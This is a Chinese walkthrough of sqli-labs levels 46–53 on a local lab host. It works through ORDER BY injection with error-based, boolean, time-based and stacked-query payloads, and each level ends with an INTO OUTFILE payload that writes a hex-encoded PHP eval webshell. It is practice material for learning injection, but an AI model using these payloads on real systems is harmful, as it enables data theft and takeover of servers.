order by 语句 一般格式是:select * from table order by x;在这里的查询语句,order by还是根据数据库表的字段数量来排序的
EG:
SELECT * from users order by 1 ASC
//升序,不加ASC时默认也是升序;
SELECT * from users order by 1 DESC
//降序;
观察发现是GET型数据传送,参数为(sort),字面意思是分类,考虑可能使用了order by 来进行分类的,尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始)(参数值的改变是否造成页面的改变);
使用order by 判断
EG:
http://192.168.1.104/sql/Less-46/?sort=1 --+
//页面返回正确,查看到以(id)的升序排列分类的,查看是否存在页面差,尝试使用order by的降序排列分类;
http://192.168.1.104/sql/Less-46/?sort=1 desc --+
//页面返回正确,查看到以(id)的降序排列分类的,判断出参数(sort)存在order by注入,无字符闭合;
使用rand(true)和rand(false) 判断
EG:
http://192.168.1.104/sql/Less-46/?sort=rand(true) --+
//页面返回正确,查看到以(id)的随机排列分类的,查看是否存在页面差,尝试使用rand(false)的随机排列分类;
http://192.168.1.104/sql/Less-46/?sort=rand(false) --+
//页面返回正确,查看到以(id)的另一种随机排列分类的,判断出参数(sort)存在order by注入;
判断是否存在SQL语句报错提示
EG:
http://192.168.1.104/sql/Less-46/?sort=1'))) --+
//服务器返回页面错误,同时发现存在SQL语句报错提示;
//经过判断,存在SQL语句报错提示;
判断是否存在时间盲注
EG:
http://192.168.1.104/sql/Less-46/?sort=1 and if(1=1,sleep(5),1) --+
//服务器返回页面错误,有较长时间延迟,尝试使用(1=2)构造;
http://192.168.1.104/sql/Less-46/?sort=1 and if(1=2,sleep(5),1) --+
//服务器返回页面正确,无较长时间延迟;
//经过判断,存在时间盲注;
经过对参数(sort)测试,发现参数(sort)存在order by 注入,无闭合字符,权限过高可以直接写入shell(网站绝对路径已知,有导出文件权限)(此处secure-file-priv=null),同时发现服务器返回页面存在SQL语句报错提示和返回页面只有正确与错误,可以考虑使用报错注入或者布尔/时间盲注的方式来获取数据库信息,下面进行测试;
EG:
http://192.168.1.104/sql/Less-46/?sort=1 and updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),1) --+
//服务器返回页面错误,同时发现SQL语句报错提示显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@);
...
EG:
...
http://192.168.1.104/sql/Less-46/?sort=rand(left(database(),1)='s') --+
//服务器返回页面与(sort=rand(true))结果一样,查询到当前数据库名的第一个字符为(s);
...
EG:
...
http://192.168.1.104/sql/Less-46/?sort=1 and if (ascii(substr(database(),1,1))='115',sleep(5),1) --+
//服务器返回页面错误,有较长的时间延迟,查询到当前数据库名的第一个字符的第一个ASCII值为(115);
...
EG:
http://192.168.1.104/sql/Less-46/?sort=1 into outfile"G:\\Phpstudy\\WWW\\sql\\Less-46\\shell.php" lines terminated by 0x3c3f70687020406576616c28245f504f53545b5f5d293b203f3e --+
获取其他信息的方法如上面示例的一样,至此,SqliLab-46结束;
观察发现是GET型数据传送,参数为(sort),字面意思是分类,考虑可能使用了order by 来进行分类的,尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始)(参数值的改变是否造成页面的改变),由于在数据库中进行尝试构造order by语句发现,order by 后面的x的值,如果被单引号或者双引号之类的字符闭合时,无法使用order by 语句,所以这里先假设参数(sort)存在注入,同时判断服务器返回页面是否存在SQL语句报错提示,如果存在,则使用报错注入构造payload,如果有数据库的信息被显示,则证明该参数存在注入,以及判断出它的闭合字符(或者直接用时间盲注去判断是否存在注入);
判断是否存在SQL语句报错提示
EG:
http://192.168.1.104/sql/Less-47/?sort=1'))) --+
//服务器返回页面错误,同时发现存在SQL语句报错提示;
//经过判断,存在SQL语句报错提示;
使用order by 判断
EG:
http://192.168.1.104/sql/Less-47/?sort=1 and updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),1) --+
//页面返回正确,无报错信息显示数据库信息,尝试使用(')代替()进行构造;
http://192.168.1.104/sql/Less-47/?sort=1' and updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),1) --+
//页面返回错误,有报错信息显示数据库信息,判断出参数(sort)存在order by注入,闭合字符为(');
判断是否存在时间盲注
EG:
http://192.168.1.104/sql/Less-47/?sort=1' and if(1=1,sleep(5),1) --+
//服务器返回页面错误,有较长时间延迟,尝试使用(1=2)构造;
http://192.168.1.104/sql/Less-47/?sort=1' and if(1=2,sleep(5),1) --+
//服务器返回页面正确,无较长时间延迟;
//经过判断,存在时间盲注;
经过对参数(sort)测试,发现参数(sort)存在order by 注入,闭合字符为(’),权限过高可以直接写入shell(网站绝对路径已知,有导出文件权限)(此处secure-file-priv=null),同时发现服务器返回页面存在SQL语句报错提示和无回显信息,可以考虑使用报错注入或者时间盲注的方式来获取数据库信息,下面进行测试;
EG:
http://192.168.1.104/sql/Less-47/?sort=1' and updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),1) --+
//服务器返回页面错误,同时发现SQL语句报错提示显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@);
...
EG:
...
http://192.168.1.104/sql/Less-47/?sort=1' and if (ascii(substr(database(),1,1))='115',sleep(5),1) --+
//服务器返回页面错误,有较长的时间延迟,查询到当前数据库名的第一个字符的第一个ASCII值为(115);
...
EG:
http://192.168.1.104/sql/Less-47/?sort=1' into outfile"G:\\Phpstudy\\WWW\\sql\\Less-47\\shell.php" lines terminated by 0x3c3f70687020406576616c28245f504f53545b5f5d293b203f3e --+
获取其他信息的方法如上面示例的一样,至此,SqliLab-47结束;
观察发现是GET型数据传送,参数为(sort),字面意思是分类,考虑可能使用了order by 来进行分类的,尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始)(参数值的改变是否造成页面的改变),观察到初始页面同SqliLab-47相似,可能存在类似的注入,按照SqliLab-47的步骤尝试;
判断是否存在SQL语句报错提示
EG:
http://192.168.1.104/sql/Less-48/?sort=1'))) --+
//服务器返回页面错误,没有发现存在SQL语句报错提示,再次尝试;
http://192.168.1.104/sql/Less-48/?sort=1""^&)) --+
//服务器返回页面错误,没有发现存在SQL语句报错提示,再次尝试;
...
//经过判断,不存在SQL语句报错提示;
使用order by 判断
EG:
http://192.168.1.104/sql/Less-48/?sort=1 --+
//页面返回正确(预期正确),查看到以(id)的升序排列分类的,查看是否存在页面差,尝试使用(sort=1 DESC)进行构造;
http://192.168.1.104/sql/Less-48/?sort=1 DESC
//页面返回正确(预期正确),查看到以(id)的降序排列分类的,判断出参数(sort)存在order by注入,无闭合字符为;
判断是否存在时间盲注
EG:
http://192.168.1.104/sql/Less-48/?sort=1 and if(1=1,sleep(5),1) --+
//服务器返回页面错误,有较长时间延迟,尝试使用(1=2)构造;
http://192.168.1.104/sql/Less-48/?sort=1 and if(1=2,sleep(5),1) --+
//服务器返回页面正确,无较长时间延迟;
//经过判断,存在时间盲注;
经过对参数(sort)测试,发现参数(sort)存在order by 注入,无闭合字符,权限过高可以直接写入shell(网站绝对路径已知,有导出文件权限)(此处secure-file-priv=null),同时发现服务器返回页面只有正确与错误,可以考虑使用布尔/时间盲注的方式来获取数据库信息,下面进行测试;
EG:
...
http://192.168.1.104/sql/Less-48/?sort=rand(left(database(),1)='s') --+
//服务器返回页面与(sort=rand(true))结果一样,查询到当前数据库名的第一个字符为(s);
...
EG:
...
http://192.168.1.104/sql/Less-48/?sort=1 and if (ascii(substr(database(),1,1))='115',sleep(5),1) --+
//服务器返回页面错误,有较长的时间延迟,查询到当前数据库名的第一个字符的第一个ASCII值为(115);
...
EG:
http://192.168.1.104/sql/Less-48/?sort=1 into outfile"G:\\Phpstudy\\WWW\\sql\\Less-48\\shell.php" lines terminated by 0x3c3f70687020406576616c28245f504f53545b5f5d293b203f3e --+
获取其他信息的方法如上面示例的一样,至此,SqliLab-48结束;
观察发现是GET型数据传送,参数为(sort),字面意思是分类,考虑可能使用了order by 来进行分类的,尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始)(参数值的改变是否造成页面的改变),观察到初始页面同SqliLab-47相似,可能存在类似的注入,按照SqliLab-47的步骤尝试;
判断是否存在SQL语句报错提示
EG:
http://192.168.1.104/sql/Less-49/?sort=1'))) --+
//服务器返回页面错误,没有发现存在SQL语句报错提示,再次尝试;
http://192.168.1.104/sql/Less-49/?sort=1""^&)) --+
//服务器返回页面错误,没有发现存在SQL语句报错提示,再次尝试;
...
//经过判断,不存在SQL语句报错提示;
判断是否存在时间盲注
EG:
http://192.168.1.104/sql/Less-49/?sort=1 and if(1=1,sleep(5),1) --+
//服务器返回页面正确,但无较长时间延迟,尝试使用(')代替()进行构造;
http://192.168.1.104/sql/Less-49/?sort=1' and if(1=1,sleep(5),1) --+
//服务器返回页面错误,有较长时间延迟,尝试使用(1=2)构造;
http://192.168.1.104/sql/Less-49/?sort=1' and if(1=2,sleep(5),1) --+
//服务器返回页面正确,无较长时间延迟;
//经过判断,存在时间盲注;
经过对参数(sort)测试,发现参数(sort)存在order by 注入,闭合字符为(’),权限过高可以直接写入shell(网站绝对路径已知,有导出文件权限)(此处secure-file-priv=null),同时发现服务器返回页面无回显信息,可以考虑使用时间盲注的方式来获取数据库信息,下面进行测试;
EG:
...
http://192.168.1.104/sql/Less-49/?sort=1' and if (ascii(substr(database(),1,1))='115',sleep(5),1) --+
//服务器返回页面错误,有较长的时间延迟,查询到当前数据库名的第一个字符的第一个ASCII值为(115);
...
EG:
http://192.168.1.104/sql/Less-49/?sort=1' into outfile"G:\\Phpstudy\\WWW\\sql\\Less-49\\shell.php" lines terminated by 0x3c3f70687020406576616c28245f504f53545b5f5d293b203f3e --+
获取其他信息的方法如上面示例的一样,至此,SqliLab-49结束;
观察发现是GET型数据传送,参数为(sort),字面意思是分类,考虑可能使用了order by 来进行分类的,尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始)(参数值的改变是否造成页面的改变);
使用order by 判断
EG:
http://192.168.1.104/sql/Less-50/?sort=1 --+
//页面返回正确(预期正确),查看到以(id)的升序排列分类的,查看是否存在页面差,尝试使用(sort=1 DESC)进行构造;
http://192.168.1.104/sql/Less-50/?sort=1 DESC
//页面返回正确(预期正确),查看到以(id)的降序排列分类的,判断出参数(sort)存在order by注入,无闭合字符;
判断是否存在SQL语句报错提示
EG:
http://192.168.1.104/sql/Less-50/?sort=1'))) --+
//服务器返回页面错误,发现存在SQL语句报错提示;
//经过判断,存在SQL语句报错提示;
判断是否存在时间盲注
EG:
http://192.168.1.104/sql/Less-50/?sort=1 and if(1=1,sleep(5),1) --+
//服务器返回页面错误,有较长时间延迟,尝试使用(1=2)构造;
http://192.168.1.104/sql/Less-47/?sort=1' and if(1=2,sleep(5),1) --+
//服务器返回页面正确,无较长时间延迟;
//经过判断,存在时间盲注;
判断是否存在堆叠注入
EG:
http://192.168.1.104/sql/Less-50/?sort=1 and updatexml(1,mid(concat(0x7c,(select group_concat(schema_name) from information_schema.schemata),0x7c),1,32),1) --+
...
http://192.168.1.104/sql/Less-50/?sort=1 and updatexml(1,mid(concat(0x7c,(select group_concat(schema_name) from information_schema.schemata),0x7c),39,32),1) --+
//服务器返回页面错误,同时有报错提示,查询到当前Mysql中的数据库有(information_schema,challenges,mysql,performance_schema,security,test),尝试使用堆叠注入新增一个数据库(hack_test);
http://192.168.1.104/sql/Less-50/?sort=1;create database hack_test --+
//服务器返回正确,使用报错注入查询当前Mysql中有哪些数据库;
http://192.168.1.104/sql/Less-50/?sort=1 and updatexml(1,mid(concat(0x7c,(select group_concat(schema_name) from information_schema.schemata),0x7c),1,32),1) --+
...
http://192.168.1.104/sql/Less-50/?sort=1 and updatexml(1,mid(concat(0x7c,(select group_concat(schema_name) from information_schema.schemata),0x7c),39,32),1) --+
//查询到数据库有(information_schema,challenges,hack_test,mysql,performance_schema,security,test),发现Mysql中已经新增了一个名叫hack_test的数据库;
//经过判断,存在堆叠注入;
经过对参数(sort)测试,发现参数(sort)存在order by 注入,无闭合字符,存在堆叠注入,权限过高可以直接写入shell(网站绝对路径已知,有导出文件权限)(此处secure-file-priv=null),同时发现服务器返回页面存在SQL语句报错提示和无回显信息,可以考虑使用报错注入和时间盲注的方式来获取数据库信息,下面进行测试;
EG:
http://192.168.1.104/sql/Less-50/?sort=1 and updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),1) --+
//服务器返回页面错误,同时发现SQL语句报错提示显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@);
...
EG:
...
http://192.168.1.104/sql/Less-50/?sort=1 and if (ascii(substr(database(),1,1))='115',sleep(5),1) --+
//服务器返回页面错误,有较长的时间延迟,查询到当前数据库名的第一个字符的第一个ASCII值为(115);
...
EG:
http://192.168.1.104/sql/Less-50/?sort=1 into outfile"G:\\Phpstudy\\WWW\\sql\\Less-50\\shell.php" lines terminated by 0x3c3f70687020406576616c28245f504f53545b5f5d293b203f3e --+
获取其他信息的方法如上面示例的一样,至此,SqliLab-50结束;
观察发现是GET型数据传送,参数为(sort),字面意思是分类,考虑可能使用了order by 来进行分类的,尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始)(参数值的改变是否造成页面的改变);
判断是否存在SQL语句报错提示
EG:
http://192.168.1.104/sql/Less-51/?sort=1'))) --+
//服务器返回页面错误,发现存在SQL语句报错提示;
//经过判断,存在SQL语句报错提示;
使用order by 判断
EG:
http://192.168.1.104/sql/Less-51/?sort=1 and updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),1) --+
//页面返回正确,无报错信息显示数据库信息,尝试使用(')代替()进行构造;
http://192.168.1.104/sql/Less-51/?sort=1' and updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),1) --+
//页面返回错误,有报错信息显示数据库信息,判断出参数(sort)存在order by注入,闭合字符为(');
判断是否存在时间盲注
EG:
http://192.168.1.104/sql/Less-51/?sort=1' and if(1=1,sleep(5),1) --+
//服务器返回页面错误,有较长时间延迟,尝试使用(1=2)构造;
http://192.168.1.104/sql/Less-51/?sort=1' and if(1=2,sleep(5),1) --+
//服务器返回页面正确,无较长时间延迟;
//经过判断,存在时间盲注;
判断是否存在堆叠注入
EG:
http://192.168.1.104/sql/Less-51/?sort=1' and updatexml(1,mid(concat(0x7c,(select group_concat(schema_name) from information_schema.schemata),0x7c),1,32),1) --+
...
http://192.168.1.104/sql/Less-51/?sort=1' and updatexml(1,mid(concat(0x7c,(select group_concat(schema_name) from information_schema.schemata),0x7c),39,32),1) --+
//服务器返回页面错误,同时有报错提示,查询到当前Mysql中的数据库有(information_schema,challenges,mysql,performance_schema,security,test),尝试使用堆叠注入新增一个数据库(hack_test);
http://192.168.1.104/sql/Less-51/?sort=1';create database hack_test --+
//服务器返回正确,使用报错注入查询当前Mysql中有哪些数据库;
http://192.168.1.104/sql/Less-51/?sort=1' and updatexml(1,mid(concat(0x7c,(select group_concat(schema_name) from information_schema.schemata),0x7c),1,32),1) --+
...
http://192.168.1.104/sql/Less-51/?sort=1' and updatexml(1,mid(concat(0x7c,(select group_concat(schema_name) from information_schema.schemata),0x7c),39,32),1) --+
//查询到数据库有(information_schema,challenges,hack_test,mysql,performance_schema,security,test),发现Mysql中已经新增了一个名叫hack_test的数据库;
//经过判断,存在堆叠注入;
经过对参数(sort)测试,发现参数(sort)存在order by 注入,闭合字符为(’),存在堆叠注入,权限过高可以直接写入shell(网站绝对路径已知,有导出文件权限)(此处secure-file-priv=null),同时发现服务器返回页面存在SQL语句报错提示和无回显信息,可以考虑使用报错注入和时间盲注的方式来获取数据库信息,下面进行测试;
EG:
http://192.168.1.104/sql/Less-51/?sort=1' and updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),1) --+
//服务器返回页面错误,同时发现SQL语句报错提示显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@);
...
EG:
...
http://192.168.1.104/sql/Less-51/?sort=1' and if (ascii(substr(database(),1,1))='115',sleep(5),1) --+
//服务器返回页面错误,有较长的时间延迟,查询到当前数据库名的第一个字符的第一个ASCII值为(115);
...
EG:
http://192.168.1.104/sql/Less-51/?sort=1' into outfile"G:\\Phpstudy\\WWW\\sql\\Less-51\\shell.php" lines terminated by 0x3c3f70687020406576616c28245f504f53545b5f5d293b203f3e --+
获取其他信息的方法如上面示例的一样,至此,SqliLab-51结束;
观察发现是GET型数据传送,参数为(sort),字面意思是分类,考虑可能使用了order by 来进行分类的,尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始)(参数值的改变是否造成页面的改变);
使用order by 判断(rand(true)/rand(false)也行)
EG:
http://192.168.1.104/sql/Less-52/?sort=1 --+
//页面返回正确(预期正确),查看到以(id)的升序排列分类的,查看是否存在页面差,尝试使用(sort=1 DESC)进行构造;
http://192.168.1.104/sql/Less-52/?sort=1 DESC
//页面返回正确(预期正确),查看到以(id)的降序排列分类的,判断出参数(sort)存在order by注入,无闭合字符;
判断是否存在SQL语句报错提示
EG:
http://192.168.1.104/sql/Less-52/?sort=1'))) --+
//服务器返回页面错误,没有发现存在SQL语句报错提示,再次尝试;
http://192.168.1.104/sql/Less-52/?sort=1""^&)) --+
//服务器返回页面错误,没有发现存在SQL语句报错提示,再次尝试;
...
//经过判断,不存在SQL语句报错提示;
判断是否存在时间盲注
EG:
http://192.168.1.104/sql/Less-52/?sort=1 and if(1=1,sleep(5),1) --+
//服务器返回页面错误,有较长时间延迟,尝试使用(1=2)构造;
http://192.168.1.104/sql/Less-52/?sort=1 and if(1=2,sleep(5),1) --+
//服务器返回页面正确,无较长时间延迟;
//经过判断,存在时间盲注;
判断是否存在堆叠注入
EG:
http://192.168.1.104/sql/Less-52/?sort=rand(left((select group_concat(schema_name) from information_schema.schemata),1)='i') --+
//服务器返回页面同(sort=rand(true))一样,查询到Mysql中存在的数据库字符串中的第一个字符为(i),再次尝试;
...
//查询到Mysql中的数据库有(information_schema,challenges,mysql,performance_schema,security,test),尝试使用堆叠注入新增一个数据库(hack_test)
http://192.168.1.104/sql/Less-52/?sort=1;create database hack_test --+
//服务器返回正确,使用报错注入查询当前Mysql中有哪些数据库;
http://192.168.1.104/sql/Less-52/?sort=rand(left((select group_concat(schema_name) from information_schema.schemata),31)='information_schema,challenges,h') --+
//服务器返回页面同(sort=rand(true))一样,查询到Mysql中存在的数据库字符串中的第三十一个字符为(h),再次尝试;
...
http://192.168.1.104/sql/Less-52/?sort=rand(left((select group_concat(schema_name) from information_schema.schemata),39)='information_schema,challenges,hack_test') --+
//查询到数据库有(information_schema,challenges,hack_test,mysql,performance_schema,security,test),发现Mysql中已经新增了一个名叫hack_test的数据库;
//经过判断,存在堆叠注入;
经过对参数(sort)测试,发现参数(sort)存在order by 注入,无闭合字符,存在堆叠注入,权限过高可以直接写入shell(网站绝对路径已知,有导出文件权限)(此处secure-file-priv=null),同时发现服务器返回页面不存在SQL语句报错提示和无回显信息,可以考虑使用时间盲注的方式来获取数据库信息,下面进行测试;
EG:
...
http://192.168.1.104/sql/Less-52/?sort=1 and if (ascii(substr(database(),1,1))='115',sleep(5),1) --+
//服务器返回页面错误,有较长的时间延迟,查询到当前数据库名的第一个字符的第一个ASCII值为(115);
...
EG:
http://192.168.1.104/sql/Less-52/?sort=1 into outfile"G:\\Phpstudy\\WWW\\sql\\Less-52\\shell.php" lines terminated by 0x3c3f70687020406576616c28245f504f53545b5f5d293b203f3e --+
获取其他信息的方法如上面示例的一样,至此,SqliLab-52结束;
观察发现是GET型数据传送,参数为(sort),字面意思是分类,考虑可能使用了order by 来进行分类的,尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始)(参数值的改变是否造成页面的改变);
判断是否存在SQL语句报错提示
EG:
http://192.168.1.104/sql/Less-53/?sort=1'))) --+
//服务器返回页面错误,没有发现存在SQL语句报错提示,再次尝试;
http://192.168.1.104/sql/Less-53/?sort=1""^&)) --+
//服务器返回页面错误,没有发现存在SQL语句报错提示,再次尝试;
...
//经过判断,不存在SQL语句报错提示;
判断是否存在时间盲注
EG:
http://192.168.1.104/sql/Less-53/?sort=1 and if(1=1,sleep(5),1) --+
//服务器返回页面正确,无较长时间延迟,尝试使用(')代替()构造;
http://192.168.1.104/sql/Less-53/?sort=1' and if(1=1,sleep(5),1) --+
//服务器返回页面错误,有较长时间延迟,尝试使用(1=2)构造;
http://192.168.1.104/sql/Less-53/?sort=1' and if(1=2,sleep(5),1) --+
//服务器返回页面正确,无较长时间延迟;
//经过判断,存在时间盲注;
判断是否存在堆叠注入
EG:
http://192.168.1.104/sql/Less-53/?sort=1' and if(left((select group_concat(schema_name) from information_schema.schemata),1)='i',sleep(5),1) --+
//服务器返回页面存较长时间延迟,查询到Mysql中存在的数据库字符串中的第一个字符为(i),再次尝试;
...
//查询到Mysql中的数据库有(information_schema,challenges,mysql,performance_schema,security,test),尝试使用堆叠注入新增一个数据库(hack_test)
http://192.168.1.104/sql/Less-53/?sort=1';create database hack_test --+
//服务器返回正确,使用报错注入查询当前Mysql中有哪些数据库;
http://192.168.1.104/sql/Less-53/?sort=1' and if(left((select group_concat(schema_name) from information_schema.schemata),31)='information_schema,challenges,h',sleep(5),1) --+
//服务器返回页面存较长时间延迟,查询到Mysql中存在的数据库字符串中的第三十一个字符为(h),再次尝试;
...
http://192.168.1.104/sql/Less-53/?sort=1' and if(left((select group_concat(schema_name) from information_schema.schemata),39)='information_schema,challenges,hack_test',sleep(5),1) --+
//服务器返回页面存较长时间延迟,查询到数据库有(information_schema,challenges,hack_test,mysql,performance_schema,security,test),发现Mysql中已经新增了一个名叫hack_test的数据库;
//经过判断,存在堆叠注入;
经过对参数(sort)测试,发现参数(sort)存在order by 注入,闭合字符为(’),存在堆叠注入,权限过高可以直接写入shell(网站绝对路径已知,有导出文件权限)(此处secure-file-priv=null),同时发现服务器返回页面不存在SQL语句报错提示和无回显信息,可以考虑使用时间盲注的方式来获取数据库信息,下面进行测试;
EG:
...
http://192.168.1.104/sql/Less-53/?sort=1' and if (ascii(substr(database(),1,1))='115',sleep(5),1) --+
//服务器返回页面错误,有较长的时间延迟,查询到当前数据库名的第一个字符的第一个ASCII值为(115);
...
EG:
http://192.168.1.104/sql/Less-53/?sort=1' into outfile"G:\\Phpstudy\\WWW\\sql\\Less-53\\shell.php" lines terminated by 0x3c3f70687020406576616c28245f504f53545b5f5d293b203f3e --+
ORDER BY 注入一般适用于高权限的注入(后期注入),只要满足高权限注入的条件(当前连接用户拥有高权限(File_priv 权限),允许写入导出文件(secure-file-priv变量值不为null),知晓网站根目录),就能给服务器写入webshell;对于练习题中的order by语句后面的x(以x字段排序),如果存在字符闭合,则要使用报错注入/时间盲注的方式来判断是否存在闭合字符;反之,如果没有闭合字符(数字型),则可以用order by 语句自身的(ASC,DESC)和rand(TRUE)/rand(FALSE)来判断参数是否存在注入;最后,关键的还是注入点的判断。
[如有错误,请指出,拜托了<( _ _ )> !!!]